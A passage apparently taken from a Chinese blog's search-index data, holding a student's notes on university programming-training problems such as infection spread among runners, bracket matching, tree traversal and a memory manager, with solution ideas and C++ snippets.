$S_i$ 处起跑， 且其速度为 $V_i$。换句话说，对所有的实数 $t \\ge 0$，在时刻 $t$ 时第 $i$ 名跑者的位置为 $S_i+V_i \\cdot t$。 很不幸的是，其中一名跑者在 $t=0$ 的时刻感染了病毒，且是无症状感染者，这种病毒只会在同一时刻处在同一位置的跑者之间传播，新感染了病毒的跑者也会感染其他人，很显然，等待足够长的时间，那么病毒会感染 一些特定的跑者。\n事后发现其中有一名跑者感染了新冠病毒，如果此人就是在 $t=0$ 时刻的那名感染者，那么，在 $N$ 名晨跑爱好者中会有多少人感染新冠病毒？\n输入形式 输入包含三行：\n第一行包含为两个整数 $N$ 和 $K$，分别表示运动员的人数以及开始时感染了病毒的跑者编号。 第二行包含 $N$ 个正整数 $S_1$、$S_2$、\u0026hellip;、$S_N$，用空格隔开，分别表示跑者的起始位置。 第三行包含 $N$ 个正整数 $V_1$、$V_2$、\u0026hellip;、$V_N$，用空格隔开，分别表示跑者的速度。 输出形式 输出为一个整数，表示最终被感染人数。\n样例输入 复制代码 6 3 3 9 8 5 7 5 6 6 5 4 6 36 3 3 9 8 5 7 5 6 6 5 4 6 3 样例输出 复制代码 33 评分标准 对于50% 的评测用例，$0 \\lt K \\le N \\le 102$\n对于70% 的评测用例，$0 \\lt K \\le N \\le 104$\n对于90% 的评测用例，$0 \\lt K \\le N \\le 106$\n对于100% 的评测用例，$0 \\lt K \\le N \\le 107$\n详细题解 这题似乎有点意思，是道自创题，值得好好说一说。不过由于本人数学过于弱鸡，这里并没有严格的数学证明。\n起初的想法是，对于每一个人的行动路线，可以画出一条一次函数_yi=si+vi*t_。只要遍历一遍其他跑者，与被感染者直线在y轴右侧会相交（下文”相交 “均指y轴右侧）的，就是被感染的人，是一个O(n) 的算法。因为相遇距离设定可以是无限远，所以不能枚举距离模拟跑的过程。得了20分。\n核心是用下面的函数判断两条直线是否相交，也就是是否会被感染。Pos 指的是初始位置，也就是y轴截距，而 Speed 代表速度，也就是斜率。\ncpp 复制代码 bool checkInfection(const int \u0026amp;sourcePos, const int \u0026amp;sourceSpeed, const int \u0026amp;targetPos, const int \u0026amp;targetSpeed) { if ((sourcePos\u0026gt; targetPos \u0026amp;\u0026amp; sourceSpeed \u0026lt;targetSpeed) || (sourcePos \u0026lt; targetPos \u0026amp;\u0026amp; sourceSpeed\u0026gt; targetSpeed) || (sourcePos == targetPos)) { return true; } else { return false; } } 1 2 3 4 5 6 7 8 9 10 11 bool checkInfection(const int \u0026amp;sourcePos, const int \u0026amp;sourceSpeed, const int \u0026amp;targetPos, const int \u0026amp;targetSpeed) { if ((sourcePos\u0026gt; targetPos \u0026amp;\u0026amp; sourceSpeed \u0026lt;targetSpeed) || (sourcePos \u0026lt; targetPos \u0026amp;\u0026amp; sourceSpeed\u0026gt; targetSpeed) || (sourcePos == targetPos)) { return true; } else { return false; } } 然后重新看题面，发现有一句话：新感染了病毒的跑者也会感染其他人。于是就想到一轮一轮感染，每轮都将每个没感染的人与每个已经感染的人对应的直线作比较，如果相交则将其加入已感染的集合；以此循环，直到某一轮没有人被传染。有Floyd-Warshall算法的感觉，是不是？看了眼数据范围，好家伙，107，我这O(n3) 的算法还是迟早歇着吧。不过粗略来看，应该能过50% N\u0026lt;=100的数据。\n于是开始研究一层循环就能搞定的方法，将时间复杂度压缩到O(n)。我们刚刚提到，一个人的直线只要与感染者所在的直线相交，那么他肯定会被感染。那么，一个跑得快的感染者也可以感染遇到的跑得比香港记者还快更快的感染者，一个跑得慢的感染者也可以感染遇到的跑得更慢的感染者。最终，就体现在被感染的人中，有一个跑得最快的，和一个跑得最慢的，他们在_x-t_图上组成了类似于上界和下界的一个区域，如下图。\n那两条蓝线代表了不断传染最快和最慢的人的过程，落实到程序上也就是维护两个speed和position的下标值，分别代表跑得最快和最慢的人，初始值均为0号患者（即初始被感染的人），如果有能和最快的人对应直线相交且speed更大的人，说明能够传染他，将值更新为这个人对应的下标值，正如图中上方曲线的两次弯折；对跑得最慢的人也是同样的处理办法。\n发现什么了吗？这个上界和下界，就是会不会被传染的界限。不过，既然直线可以无限延伸，那么我们可以去掉中间逐渐感染的过程，直接感染最快和最慢的那两个人，就变成了这样：\n前后两种方式，虽然过程不同，但感染的结果是等效的。代表最快最慢的直线，一定会与0号感染者直线相交，那么只需要一直选取和0号感染者直线相交，而且比最快更快 / 比最慢更慢的人来更新最快 / 最慢下标值即可，而不需要每次都比较”和最快直线相交 “且” 比最快更快 “，或者” 和最慢直线相交 “且” 比最慢更慢“，省下一次比较。\n判断是否穿过这两条折线共三条直线，分两种情况：\n第一种是判断是否与0号感染者的直线相交； 第二种是判断是否与后面2条直线相交。 满足一种就会被传染。我们刚刚需要一次循环来找最快最慢的跑者，判断这些直线是否与0号直线相交，那么对于相交的直线可以直接打上infected标记，顺便进行第一种情况判断，无需进行第二种判断（直接continue）。第二步的标准又可以转化为”不在上界直线的上方 “且” 不在下界直线的下方“，其中上方和下方指的是在y轴右侧，函数值永远更大 / 更小，自然也不会相交。\n还记得刚刚那个判断函数吗？我将它改成了下面的样子：\ncpp 复制代码 int checkInfection(const int \u0026amp;sourcePos, const int \u0026amp;sourceSpeed, const int \u0026amp;targetPos, const int \u0026amp;targetSpeed) // 返回值：1 - 在上方 0 - 相交 -1 - 在下方 { if ((sourcePos\u0026gt; targetPos \u0026amp;\u0026amp; sourceSpeed \u0026lt;targetSpeed) || (sourcePos \u0026lt; targetPos \u0026amp;\u0026amp; sourceSpeed\u0026gt; targetSpeed) || (sourcePos == targetPos)) { return 0; } if ((targetPos\u0026gt; sourcePos) \u0026amp;\u0026amp; (targetSpeed\u0026gt;= sourceSpeed)) { return 1; } return -1; } 1 2 3 4 5 6 7 8 9 10 11 12 int checkInfection(const int \u0026amp;sourcePos, const int \u0026amp;sourceSpeed, const int \u0026amp;targetPos, const int \u0026amp;targetSpeed) // 返回值：1 - 在上方 0 - 相交 -1 - 在下方 { if ((sourcePos\u0026gt; targetPos \u0026amp;\u0026amp; sourceSpeed \u0026lt;targetSpeed) || (sourcePos \u0026lt; targetPos \u0026amp;\u0026amp; sourceSpeed\u0026gt; targetSpeed) || (sourcePos == targetPos)) { return 0; } if ((targetPos\u0026gt; sourcePos) \u0026amp;\u0026amp; (targetSpeed\u0026gt;= sourceSpeed)) { return 1; } return -1; } 这样在一个函数里，可以一次判断target直线位于source直线上方、下方还是相交。关于它的理解，可以画个图。\n然后统计被打上标记的人数量（可以合在第二种情况判断的函数一起完成），输出即可。\n总共四次循环，都为1层，也就是O(n) 的复杂度，其中两层循环还是输入数据用的。\n","date":"July 7, 2021","matchCount":0,"permalink":"/post/hnu-csp-training-2/","preview":"","title":"湖南大学 2021 程序设计训练笔记 - 作业训练 2"},{"content":"所有代码均已上传至 homework/CSP-Training at master · cyp0633/homework (github.com)。不保证代码均正确，正确的也不保证为最优解，可以查看Commit详情进一步了解。\n作业训练1 1. 众数 个人难度评级：1\n问题描述 一组数据中出现最多的数，称为众数。比如\n1 2 3 3\n众数为3。一组数据中也可能有多个众数，以最先出现的作为众数。比如\n2 2 3 3\n众数为2。\n问题是一组按升序排好的数据，指出它的众数。\n输入形式 有多组测试数据（不超过100组测试数据）。\n每组测试数据占两行，第一行是正整数N：表示这组测试数据中数据项数。\n第二行是N个用空格隔开的正整数，表示这组测试数据的数据元素。每个数据元素都不大于10000。\nN=0，表示输入结束，并且不需要处理。\n40% 的测试数据N 1 ≤N≤ 10；\n30% 的测试数据N 10 \u0026lt; N≤ 100；\n20% 的测试数据N 100 \u0026lt; N≤ 1000；\n10% 的测试数据N 1000 \u0026lt; N≤ 10000；\n输出形式 对于每组测试数据，输出一行包含一个正整数：对应的众数。\n样例输入 text 复制代码 4 1 2 3 3 4 2 2 3 3 0 1 2 3 4 5 4 1 2 3 3 4 2 2 3 3 0 样例输出 text 复制代码 3 2 1 2 3 2 解题思路 使用桶排序的思想，设一个数组，存储每个数的出现次数。再遍历这个数组，取最大值。\n数据是按升序排好的，所以也许一遍循环能走完，而且能省下桶排的数组空间？\n2. 错误的里程碑 个人难度评级：2\n问题描述 三月八日，小明买了台新车。但很快小明发现汽车的里程表有问题：里程表上每一位都不显示数字3和数字8，也就是说直接从数字2跳到数字4，直接从数字7跳到数字9。小明纳闷：这车到底行驶里程是多少。\n现在，小明向你求助：根据里程表显示的数字，给出真实的行驶里程。\n输入形式 输入有多组测试数据。\n输入第一行正整数T，表示有多少组测试数据。\n后面有T行，每行一个非负整数，表示里程表显示数字，里面不含有数字3和8。该数字不超过10位。\n40% 的测试数据组数T 10≤T≤ 102；\n30% 的测试数据组数T 102≤T≤ 103；\n20% 的测试数据组数T 103≤T≤ 104；\n10% 的测试数据组数T 104≤T≤ 105；\n输出形式 对于每组测试数据，输出一个整数占一行：真实的行程里程。\n样例输入 text 复制代码 6 0 1 12 159 111224459 124567976 1 2 3 4 5 6 7 6 0 1 12 159 111224459 124567976 样例输出 text 复制代码 0 1 10 103 19212007 21913077 1 2 3 4 5 6 0 1 10 103 19212007 21913077 解题思路 实际上这是一个8进制里程表，因为只有0、1、2、4、5、6、7、9，也就相当于0、1、2、3、4、5、6、7。做一个八进制转十进制即可。可能需要使用long long类型。\n3. 拳王阿里 此题有些问题，暂不处理。\n4. 欧洲冠军联赛 个人难度评级：2\n问题描述 欧洲冠军联赛常被誉为全世界最具影响力的俱乐部级赛事。在比赛的小组赛阶段，欧洲的各个足球俱乐部被分为八个小组，每个小组中四支球队。每个小组中的球队按照如下规则排序：\n球队会根据比赛结果获得积分。一场比赛的双方被称为主队和客队。如果其中一方进球数多于另一方，那么进球较多的一方获得3分，另一方获得0分。如果双方打成平手，则各得1分。 球队的净胜球数是其进球数减去失球数（不考虑该球队在比赛中作为主队还是客队）。 积分较高的球队排名更加靠前。 如果两支球队积分相同，那么净胜球数较多的球队排名靠前。 小组的各队伍进行循环赛，即每两支球队之间进行两场比赛，双方交替作为主队。给定一个小组内12场比赛的结果，请求出小组的出线队伍：即排名第一和第二的两支球队。\n保证答案唯一。\n输入形式 输入的第一行包含一个整数T，代表测试数据的组数。接下来是T组数据。\n每组数据共有12行，每行描述一场比赛，格式为：“主队队名主队进球数vs. 客队进球数客队队名”，其中 “主队队名” 和“客队队名”为字符串，“主队进球数”和 “客队进球数” 为两球队在本场比赛中各自的进球数量。\n1 ≤ T ≤ 50 球队队名仅包含小写英文字母 球队队名长度不超过10个字符 0 ≤ 进球数 ≤ 100 输出形式 对于每组数据，输出一行，包含两个字符串，代表排名第一和第二的球队的队名。\n样例输入 text 复制代码 2 manutd 8 vs. 2 arsenal lyon 1 vs. 2 manutd fcbarca 0 vs. 0 lyon fcbarca 5 vs. 1 arsenal manutd 3 vs. 1 fcbarca arsenal 6 vs. 0 lyon arsenal 0 vs. 0 manutd manutd 4 vs. 2 lyon arsenal 2 vs. 2 fcbarca lyon 0 vs. 3 fcbarca lyon 1 vs. 0 arsenal fcbarca 0 vs. 1 manutd a 3 vs. 0 b a 0 vs. 0 c a 0 vs. 0 d b 0 vs. 0 a b 4 vs. 0 c b 0 vs. 0 d c 0 vs. 0 a c 0 vs. 0 b c 1 vs. 0 d d 3 vs. 0 a d 0 vs. 0 b d 0 vs. 0 c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 2 manutd 8 vs. 2 arsenal lyon 1 vs. 2 manutd fcbarca 0 vs. 0 lyon fcbarca 5 vs. 1 arsenal manutd 3 vs. 1 fcbarca arsenal 6 vs. 0 lyon arsenal 0 vs. 0 manutd manutd 4 vs. 2 lyon arsenal 2 vs. 2 fcbarca lyon 0 vs. 3 fcbarca lyon 1 vs. 0 arsenal fcbarca 0 vs. 1 manutd a 3 vs. 0 b a 0 vs. 0 c a 0 vs. 0 d b 0 vs. 0 a b 4 vs. 0 c b 0 vs. 0 d c 0 vs. 0 a c 0 vs. 0 b c 1 vs. 0 d d 3 vs. 0 a d 0 vs. 0 b d 0 vs. 0 c 样例输出 text 复制代码 manutd fcbarca d b 1 2 manutd fcbarca d b 样例说明 第一组数据：每支球队的积分与净胜球数分别为：\nmanutd：16分，净胜球数12。 manutd：8分，净胜球数4。 manutd：5分，净胜球数 −5。 manutd：4分，净胜球数 −11。 第二组数据：每支球队的积分与净胜球数分别为：\nd：7分，净胜球数2。 b：7分，净胜球数1。 a：7分，净胜球数0。 c：7分，净胜球数 −3。 所有球队的积分相同，但是净胜球数较多的队伍排名更加靠前。\n解题思路 使用结构体存储球队的名称、净进球数和得分，使用一个结构体数组存储所有球队信息。\n注意找不到已记录球队就新建球队的操作。\n5. 合法的括号串 个人难度评级：3\n问题描述 一个合法的括号串，是指只包含括号的串，如果满足如下条件：\n（1）\u0026lt;\u0026gt; () [] {} 这四对括号是合法的；\n（2）如果r是合法括号串，则 \u0026lt;r\u0026gt; (r) [r] {r} 也是；\n（3）如果r，s是合法括号串，则rs也是；\n所以 \u0026laquo;\u0026raquo; , [\u0026lt;\u0026gt;{}(())],[({\u0026lt;\u0026gt;})] 是合法的括号串，而)(,[( ])就不是。\n输入形式 输入第一行正整数t (10 ≤ n ≤ 100)，表示有多少组测试数据。\n后面有t行，每行一个只包含8种括号符号的括号串。\n40% 的括号串的长度L 2 ≤ L≤ 20；\n30% 的括号串的长度L 2 ≤ L≤ 200；\n20% 的括号串的长度L 2 ≤ L≤ 2000；\n10% 的括号串的长度L 2 ≤ L≤ 20000；\n输出形式 对于每组测试数据，如果括号串是合法的，输出 “Yes”（输出没有引号）占一行，否则，输出 “No”（输出没有引号）占一行。\n样例输入 text 复制代码 6 \u0026lt;\u0026lt;\u0026gt;\u0026gt; )( [\u0026lt;\u0026gt;{}(())] [({\u0026lt;\u0026gt;})] [(]) \u0026lt;([{ 1 2 3 4 5 6 7 6 \u0026lt;\u0026lt;\u0026gt;\u0026gt; )( [\u0026lt;\u0026gt;{}(())] [({\u0026lt;\u0026gt;})] [(]) \u0026lt;([{ 样例输出 text 复制代码 Yes No Yes Yes No No 1 2 3 4 5 6 Yes No Yes Yes No No 解题思路 括号配对是老例题了。使用栈来存储前面未配对的左括号，遇到右括号检验一下是否匹配，然后弹栈。惟需注意：\n整组数据算完之后将栈清空，否则下一组即使匹配，最后也会栈内还有元素而不匹配； 弹栈之前检测栈空，这个应该很容易看出来，一般样例就能反映。 6. 世界杯来了 个人难度评级：3\n问题描述 2018年俄罗斯世界杯结束了，法国获得冠军，全世界球迷度过了一个非常愉快的夏天。作为中国球迷，不能总是看别人踢球，这不福利来了，根据FIFA（国际足联）及全体成员协会的一致决定，2118年世界杯将在中国举办，作为东道主，中国队将无需参加预选赛而直接参加决赛阶段的比赛。\n比赛规则如下：\n总共n（n为偶数）个球队参加比赛 按照分组赛积分排名，前n/2的球队进入淘汰赛 积分排名的规则如下：球队获胜得3分，平局得1分，失利得0分，按照积分递减、净胜球递减以及进球数递减方式排名编写一个程序，根据给出的参赛队伍名单和所有比赛的结果，找出成功进入淘汰赛阶段的球队名单。 输入形式 第一行输入包含唯一整数n(1\u0026lt;=n\u0026lt;=50)，参加世界杯决赛的球队数量。接下来的n行是各球队的名字，为长度不超过30个字符的英文字符。接下来的n*(n-1)/2行，每行格式name1-name2 num1:num2（0\u0026lt;=num1, num2\u0026lt;=100），表示对阵球队及比分. 输出形式 输入n/2行，表示进入淘汰赛阶段的球队，按照字典序进行排列，每个球队名字占一行\n样例输入 text 复制代码 4ABCDA-B 1:1A-C 2:2A-D 1:0B-C 1:0B-D 0:3C-D 0:3 1 4ABCDA-B 1:1A-C 2:2A-D 1:0B-C 1:0B-D 0:3C-D 0:3 样例输出 text 复制代码 AD 1 AD 解题思路 跟第4题整体思路差不多，增加了一点难度主要在字符串的分割上。只要掌握根据分隔符将字符串分割成两半的方法就行。\n7.F1方程式冠军 个人难度评级：3\n问题描述 一级方程式F1锦标赛由一系列称为大奖赛的分站赛组成。每一场比赛的车手都根据他们的最后位置获得积分。只有前10名车手按以下顺序获得分数：25、18、15、12、10、8、6、4、2、1。在锦标赛结束时，得分最多的车手是冠军。如果有平分，则冠军是赢的最多的人（即排位第一）。如果还是平分，则选择得到排位第二最多的人，依此类推，直到没有更多的排位进行比较。\n后来又提出了另一个得分制度，其中冠军是赢的最多的。如果有平手，冠军是得分最多的。如果仍然存在平手，则按原来的得分制度进行，即比较第二、第三、第四、\u0026hellip; 排位的次数。\n在本赛季，你会得到所有比赛的结果，你将根据两个得分系统来分别确定冠军。数据保证两套系统都能得到唯一的冠军。\n输入形式 第一行一个整数t（1\u0026lt;=t\u0026lt;=20），t是分站赛的场次数。之后是每个分站赛的最终排位情况，每个的第一行一个整数n(1\u0026lt;=n\u0026lt;=100) 表示排位车手人数，之后n行按排位列出车手的名字，排位从第一到最后，车手的名字为长度不超过50的英文字符，大小写区分。\n输出形式 输出为两行，第一行为按照原始规则确定的冠军，第二行是按照可选规则确定的冠军。\n样例输入 text 复制代码 33applebananapear2pearbanana2applebanana 1 33applebananapear2pearbanana2applebanana 样例输出 text 复制代码 bananaapple 1 bananaapple 解题思路 和第4题差不多的壳，但主要考察的是结构体的排序，手写不同的比较函数是重点。\n注意比较的时候最多可能比较到得到10-20名的次数，所以得到某名次计数的数组要开得大些。\n8. 买房与选房 个人难度评级：7\n问题描述 在 X 国许多一线城市住房非常紧张，政府部门制定了相关的政策，重点满足住房刚性需求（住房面积为0，社保缴纳必须超过2年），然后才能照顾改善性需求（住房面积大于0）。\n具体的原则为：\n对于刚性需求，缴纳社保月数多者优先 对于改善性需求，现有自有住房面积小者优先 由于房源有限，为公平起见，开发商在不违背上述原则下特意指定同等条件下申报时间同时作为排队的条件，时间越早优先级越高。\n最近有一批新楼盘准备开盘，总共有 m （≤1000）套房，所有的网上申报工作都已经完成并保存到二进制文件house.bin中，申请者提交了自己的基本材料，格式为：身份证号（18位，加1位空字符 \u0026lsquo;\\0\u0026rsquo;，共19位）、社保缴纳月数、自有住房面积、申报时间 (格式为：MM-DD-YYYY，10位字符串，加1位空字符\u0026rsquo;\\0\u0026rsquo;，共11位)，社保缴纳月数、自有住房面积均为整数，文件最后为总报名人数 n（≤105）。\n申请者可以通过身份证号查询最终的结果。\n输入形式 输入的第一行为两个正整数 m（≤1000）和 T （ **T_ ≤ n**_ ），分别表示本次开盘的楼盘可供申请的套数以及查询的组数\n接下来的 T 行，每行为一个18位的字符串，表示需要查询的身份证号\n输出形式 输出为 T 行，对应每个查询的输出结果：\n1. 申请者不符合购房条件或排位超出了所推出的房源数量不能中签，则输出 \u0026ldquo;Sorry\u0026rdquo;;\n2. 申请者符合购房条件，且该名次人数为1人，则直接输出一个整数，表示选房顺序号;\n3. 申请者符合购房条件，且该名次人数有多人，同时人数不大于所剩房源数量，则直接输出用空格分隔的两个整数，表示选房顺序号区间;\n4. 申请者符合购房条件，且该名次人数有多人，同时人数大于所剩房源数量，则输出用 / 分隔两个整数，如 A/B，表示 B 人中选 A 人，选房顺序为排名倒数 A 名范围。\n样例输入 text 复制代码 9 6 350102200609166049 350102200609163286 250342323545313434 130502201805070787 110101196003074525 430102201102181455 1 2 3 4 5 6 7 9 6 350102200609166049 350102200609163286 250342323545313434 130502201805070787 110101196003074525 430102201102181455 样例输出 text 复制代码 2 3 4 Sorry 6 2/3 Sorry 1 2 3 4 5 6 2 3 4 Sorry 6 2/3 Sorry 代码框架 ** 建议复制以下代码框架， 在此基础上完成本题需求。此建议不是必须，你可以忽略。**\ncpp 复制代码 #include \u0026lt;iostream\u0026gt; using namespace std; struct people { char id[19]; /* 身份证号码 */ int social; /* 社保缴纳月数 */ int area; /* 现有住房面积 */ char date[11]; /* 申报日期 */ }; people* getMess(int \u0026amp;n); int main() { people *person; /* 指向所有报名人的基本资料首地址，通过调用函数 getMess 获取 */ int n; /* n 为报名人数，通过调用函数 getMess 获取 */ person=getMess(n); // ... return 0; } people* getMess(int \u0026amp;n) /* 将文件数据读入内存 */ { FILE *fp; fp=fopen(\u0026#34;house.bin\u0026#34;,\u0026#34;rb\u0026#34;); fseek(fp,-1*(long)sizeof(int), 2); fread(\u0026amp;n, sizeof(int),1, fp); rewind(fp); people *tmp=new people[n]; fread(tmp, sizeof(people), n, fp); fclose(fp); return tmp; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #include \u0026lt;iostream\u0026gt; using namespace std; struct people { char id[19]; /* 身份证号码 */ int social; /* 社保缴纳月数 */ int area; /* 现有住房面积 */ char date[11]; /* 申报日期 */ }; people* getMess(int \u0026amp;n); int main() { people *person; /* 指向所有报名人的基本资料首地址，通过调用函数 getMess 获取 */ int n; /* n 为报名人数，通过调用函数 getMess 获取 */ person=getMess(n); // ... return 0; } people* getMess(int \u0026amp;n) /* 将文件数据读入内存 */ { FILE *fp; fp=fopen(\u0026#34;house.bin\u0026#34;,\u0026#34;rb\u0026#34;); fseek(fp,-1*(long)sizeof(int), 2); fread(\u0026amp;n, sizeof(int),1, fp); rewind(fp); people *tmp=new people[n]; fread(tmp, sizeof(people), n, fp); fclose(fp); return tmp; } 测试用例说明 10% 的用例无同等条件的数据，30% 的用例只有刚性需求，20% 的用例只有改善性需求。\n文件下载 请下载压缩文件（见CG平台）并在存放源程序文件的文件夹下解开，其中二进制文件house.bin包含了相关的测试数据，test.txt是相关测试数据的文本格式，可用于程序测试。\n解题思路 我引入了一个”优先级 “整型变量来决定排到房源的优先级，使这个变量必满足刚性需求社保久\u0026gt; 刚性需求社保少\u0026gt;改善需求小房子\u0026gt;改善需求大房子\u0026gt;没有购房资格，在此顺序绝对成立的基础上，申请早的优先级高。这个可以从我的代码里详细了解。\n然后，将其与对应的people结构体组成pair并使用stable_sort排序，按优先级从大到小。这样就可以很容易地得到某个人的名次和同名次人的范围。\n我的代码一个点都没过，但我觉得我的思路是对的……\n9. 二叉树遍历，从前序、中序到后序 个人难度评级：4\n问题描述 二叉树是一种非常重要的 数据结构，非常多其他数据结构都是基于二叉树的基础演变而来的。对于二叉树，深度遍历有前序、中序以及后序三种遍历方法。\n三种基本的遍历思想为：\n前序遍历：根结点 \u0026mdash;\u0026gt; 左子树 \u0026mdash;\u0026gt; 右子树\n中序遍历：左子树 \u0026mdash;\u0026gt; 根结点 \u0026mdash;\u0026gt; 右子树\n后序遍历：左子树 \u0026mdash;\u0026gt; 右子树 \u0026mdash;\u0026gt; 根结点\n比如，求以下二叉树的各种遍历\n前序遍历：1 2 4 5 7 8 3 6 中序遍历：4 2 7 5 8 1 3 6\n后序遍历：4 7 8 5 2 6 3 1\n需要你编写程序解决的问题是：已知一个二叉树的前序遍历和中序遍历的结果，给出该二叉树的后序遍历的结果。\n输入形式 有多组测试数据，每组测试数据三行，每组测试数据第一行只有一个正整数n，表示二叉树节点的数目，n=0意味着输入结束并且不需要处理。\n每组测试数据第二行是二叉树的前序遍历的结果，是一个长度为n的字符串，每个节点由一个字符表示，字符是大小写英文字母及10个数字, 不同的节点用不同的字符表示，也即无论前序遍历和中序遍历的字符串中没有重复的字符。\n每组测试数据第二行是二叉树的中序遍历的结果，也是一个长度为n的字符串。\n40% 的测试数据1 ≤ n≤ 10；\n30% 的测试数据1 ≤ n≤ 20；\n20% 的测试数据1 ≤ n≤ 40；\n10% 的测试数据1 ≤ n≤ 62；\n输出形式 对于每组测试数据，输出一行，是一个长度为n的字符串，表示二叉树后序遍历的结果。\n样例输入 text 复制代码 8 12457836 42758136 4 abcd abcd 4 abcd dcba 0 1 2 3 4 5 6 7 8 9 10 8 12457836 42758136 4 abcd abcd 4 abcd dcba 0 样例输出 text 复制代码 47852631 dcba dcba 1 2 3 47852631 dcba dcba 解题思路 使用递归方法。对于每个子树（输入数据本身也算一棵子树），先得到根节点，然后利用其分别分割左子树和右子树并分别传入递归，最后输出根节点。\n部分参考了 9. 二叉树遍历，从前序、中序到后序 (递归即可解决)_yogdzewa 的博客 - CSDN 博客。\n10. 内存管理 来源：Codeforces 7B\n个人难度评级：4\n问题描述 离第一个操作系统HNU-OS发布已经没有多少时间了，但它的一些组件还没有完成，内存管理器就是其中之一。根据开发人员的计划，在第一个版本中，内存管理器将非常简单和直观。它将支持三个操作： alloc n —— 分配n个字节内存，返回已分配块的正整数标识符x(x初始值为0，每次分配增长1) erase x —— 删除标识符x所在的块 defragment —— 整理空余内存碎片，将所有块尽量靠近内存的开始位置，并保持各自的顺序 在此情况下，内存模型非常简单，它是一个m字节的序列，为了方便起见，从第一个字节到第m字节进行编号。\n第一个操作alloc n有一个参数n，表示被分配的内存块大小。在处理此操作时，内存中将分配n个连续字节的空闲块。 如果这些块的数量超过一个，则优先选择最接近内存开始 (即第一个字节) 的块。 所有这些字节都被标记为非空闲，内存管理器返回一个32位整数数字令牌，代表该块的标识符。 如果不可能分配这样大小的空闲块，则返回NULL。\n第二个操作erase x以x为参数，表示某个块的标识符。此操作释放系统内存，将此块的字节标记为空闲以供进一步使用。 如果此标识符没有指向先前分配的块 (该块尚未被释放)，则返回ILLEGAL_ERASE_ARGUMENT。\n最后一个操作defragment没有任何参数，只会使占用的内存部分更接近内存的开始，而不会更改它们各自的顺序。\n在当前的实现中，将使用从1开始的连续整数作为标识符。每个成功的alloc操作过程都应该返回接下来的编号。不成功的alloc操作不影响计数。 编写内存管理器的实现，为每个alloc命令输出返回的值，为所有失败的erase命令输出ILLEGAL_ERASE_ARGUMENT。\n输入形式 输入数据的第一行包含两个正整数t和m（1\u0026lt;=t\u0026lt;=500, 1\u0026lt;=m\u0026lt;=105)，其中t表示需要内存管理器来处理的操作个数，m表示有效的内存字节大小。接下来的t行每一行代表一个操作。\n输出形式 输出有多行，每行或者是alloc操作的结果，或者是失败的erase操作的结果ILLEGAL_ERASE_ARGUMENT。其顺序与输入的操作次序一致。\n样例输入 text 复制代码 6 10alloc 5alloc 3erase 1alloc 6defragmentalloc 6 1 6 10alloc 5alloc 3erase 1alloc 6defragmentalloc 6 样例输出 text 复制代码 12NULL3 1 12NULL3 解题思路 定义memblock结构体存储内存块，包含标识符、开始点和结束点，和一个是否已经被释放的bool标记。\n借鉴了堆的思想，将靠前的内存块前置，靠后的内存块后置，已经释放的内存块则放到最后面去。在插入和释放完成后进行排序，因为相对位置已经改变。\n分配新内存块时，先寻找块间的剩余空间，如果不够再尝试从尾部插入，然后排序。释放时将编号对应的块记为已经释放，然后排序。碎片整理操作则是挨个移动已经有序的各个块即可。\n11. 平均方差 个人难度评级：1\n问题描述 一个数列的平均方差是指数列中的每个元素与数列的平均值的差的平方和的平均值，比如下面数列：\n1 2 3 4 5 6 7\n其平均值为4，每个元素与平均值的差的平方为\n9 4 1 0 1 4 9\n其平方和为28，所以该数列的平均方差为4。\n对给定的数列，求出其平均方差。\n输入形式 有多组测试数据。\n每组测试数据第一行是一个正整数N，表示数列中元素个数，接下来一行N个用空格分隔开的正整数，表示数列的N个元素，每个元素的值都是不大于500的正整数。\nN=0表示输入结束，并且不需要处理。\n40% 的数列元素个数N 1 ≤ N≤ 10；\n30% 的数列元素个数N 1 ≤ N≤ 100；\n20% 的数列元素个数N 1 ≤ N≤ 1000；\n10% 的数列元素个数N 1 ≤ N≤ 10000；\n输出形式 对于每组测试数据，输出一个整数：平均方差。平均方差不是整数的，输出其向下取整的整数。比如平均方差是4.5，输出4。\n样例输入 text 复制代码 7 1 2 3 4 5 6 7 4 1 2 3 4 0 1 2 3 4 5 7 1 2 3 4 5 6 7 4 1 2 3 4 0 样例输出 text 复制代码 4 1 1 2 4 1 解题思路 这玩意有啥解题思路？算就是了。记得适时用double。\n12. IP地址 个人难度评级：2\n问题描述 一个IP地址由32位二进制的数组成，比如：\n111111111111111111111111000000002\n为了便于记忆，我们将8个二进制位用一个十进制数表示，一个IP地址由四个十进制数表示，上述的IP地址表示为：\n255.255.255.0\n现在给你一个上述形式的IP地址，请回答IP地址的32个二进制位中，有多少位是1。\n如IP地址为255.255.255.0，其中24位是1。\n输入形式 有多组测试数据。\n测试数据第一行是一个正整数T，表示测试数据组数。\n每组测试数据是一个IP地址，形式为：\nIP1.IP2.IP3.IP4\n其中0 ≤IP1,IP2,IP3,IP4≤ 255, 用十进制表示。每个IP地址不保证是实用IP地址。\n40% 的测试数据组数T 10≤T≤ 102；\n30% 的测试数据组数T 102≤T≤ 103；\n20% 的测试数据组数T 103≤T≤ 104；\n10% 的测试数据组数T 104≤T≤ 105；\n输出形式 对于每个IP地址，输出一行包含一个非负整数：该IP地址的32个二进制位中，1的位数。\n样例输入 text 复制代码 5 255.255.255.0 127.0.0.1 0.0.0.1 1.2.3.4 0.0.0.0 1 2 3 4 5 6 5 255.255.255.0 127.0.0.1 0.0.0.1 1.2.3.4 0.0.0.0 样例输出 text 复制代码 24 8 1 5 0 1 2 3 4 5 24 8 1 5 0 提示：样例中32位的IP地址为：\n111111111111111111111111000000002\n011111110000000000000000000000012\n000000000000000000000000000000012\n000000010000001000000011000001002\n000000000000000000000000000000002\n解题思路 核心在于进制转换的思想，以及第6题分割字符串的方法。先分割再转换进制，不就很简单了吗？\n13. 开关与灯 来源：CodeForces 985B（我湖不愧是9B5）\n个人难度评级：2\n待完善\n14. 可删除的点 个人难度评级：1\n问题描述 平面上有n个不同的点，没有在Y轴的点，检查是否存在这样一个点，将其删除后其余所有的点均位于Y轴的同一边。\n输入形式 输入第一行包含一个正整数n(2\u0026lt;=n\u0026lt;=105)。\n接下来的n行，包含所有点的坐标，第i行包含两个整数xi和yi(|xi|、|yi|\u0026lt;=109，xi\u0026lt;\u0026gt;0)。\n输出形式 如果存在这样的点，则输入 \u0026ldquo;Yes\u0026rdquo;，否则输出 